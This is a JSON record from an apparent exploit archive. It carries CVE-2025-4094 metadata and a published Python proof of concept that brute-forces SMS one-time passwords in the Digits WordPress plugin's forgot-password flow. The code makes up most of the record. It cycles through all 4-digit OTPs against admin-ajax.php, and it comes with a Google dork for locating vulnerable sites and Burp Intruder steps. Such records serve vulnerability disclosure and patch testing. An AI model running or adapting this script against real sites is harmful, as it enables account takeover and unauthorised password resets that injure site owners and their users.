{"exploit":{"id":"EDB-52307","name":"WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing","description":"WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing","cves":["CVE-2025-4094"],"author":"Saleh Tarawneh","published":"2025-05-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52307","path":"exploits/multiple/webapps/52307.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52307.py","vulnerabilities":[{"id":"CVE-2025-4094","state":"PUBLISHED","title":"Digits < 8.4.6.1 - Auth Bypass via OTP Bruteforcing","titleSource":"CVE Program","description":"The DIGITS: WordPress Mobile Number Signup and Login WordPress plugin before 8.4.6.1 does not rate limit OTP validation attempts, making it straightforward for attackers to bruteforce them.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-4094","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-4094"},"updatedAt":"2025-08-27T12:00:33.608Z","retrievedAt":"2026-11-25T17:03:33.341Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52307.png?v=2","url":"https://exploitbin.com/exploits/EDB-52307","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52307/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52307/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing\n# Google Dork: inurl:/wp-content/plugins/digits/\n# Date: 2025-04-30\n# Exploit Author: Saleh Tarawneh\n# Vendor Homepage: https://digits.unitedover.com/\n# Version: < 8.4.6.1\n# CVE : CVE-2025-4094\n\n\"\"\"\nThe Digits plugin for WordPress prior to version 8.4.6.1 is vulnerable to OTP brute-force attacks due to missing rate limiting.\nAn attacker can exploit this to bypass authentication or password reset by iterating over possible OTP values.\n\nThis PoC targets the \"Forgot Password\" flow and automates the attack, which is the same concept that is valid for the registration flow.\n\nCWE-287: Improper Authentication\nCVSS v3.1: 9.8 (Critical)\nOWASP A2: Broken Authentication\n\n[Instructions]\n1. Use a tool like Burp Suite or your browser’s developer tools to intercept the OTP verification request.\n2. Copy the exact request parameters\n3. Replace the placeholder values in the script with real data from the intercepted request.\n4. Run the script to brute-force 4-digit OTPs (0000 to 9999) or you can change it to 6-digit.\n\n[Alternative Method – Burp Suite Pro]\n\nIf you have Burp Suite Pro, you can perform the OTP brute-force attack manually:\n\n1. Intercept the OTP request using Burp Proxy.\n2. Send the request to Intruder.\n3. Mark the `sms_otp` parameter as the payload position.\n4. Load a payload list from `000000` to `999999` (for 6-digit OTPs).\n5. Start the attack and monitor responses for a different status code, length, or success message.\n\n\"\"\"\n\nimport requests\n\ndef brute(otp):\n    url = \"https://example.com/wp-admin/admin-ajax.php\"\n    data = {                                             # Replace with targets data\n        \"login_digt_countrycode\": \"+\",\n        \"digits_phone\": \"000000000\",\n        \"action_type\": \"phone\",\n        \"sms_otp\": otp,\n        \"otp_step_1\": \"1\",\n        \"instance_id\": \"xxxxxxx\",\n        \"action\": \"digits_forms_ajax\",\n        \"type\": \"forgot\",\n        \"forgot_pass_method\": \"sms_otp\",\n        \"digits\": \"1\",\n        \"digits_redirect_page\": \"//example.com/\",\n        \"digits_form\": \"xxxxxxxx\",\n        \"_wp_http_referer\": \"/?login=true\"\n    }\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0\",\n        \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n        \"X-Requested-With\": \"XMLHttpRequest\",\n        \"Referer\": \"https://example.com/?login=true\"  # Replace with intercepted referer\n    }\n    response = requests.post(url, data=data, headers=headers)\n    if '\"success\":true' in response.text:\n        print(f\"[+] OTP FOUND: {otp}\")\n        exit()\n\ndef main():\n    for otp in range(0, 10000): # range(0, 1000000): for 6-digit\n        otp_str = f\"{otp:04d}\"     # {otp:06d} for 6-digit\n        print(f\"[*] Trying OTP: {otp_str}\")\n        brute(otp_str)\n\nif __name__ == \"__main__\":\n    main()","sha256":"e43f96c9a6a5278259073ee191a6a0417879f7c51bce6ec7da63d4cbcd5b8bc9","bytes":2846,"fetchedAt":"2026-11-26T13:06:47.020Z","encoding":"utf-8 (display only; download retains original bytes)"}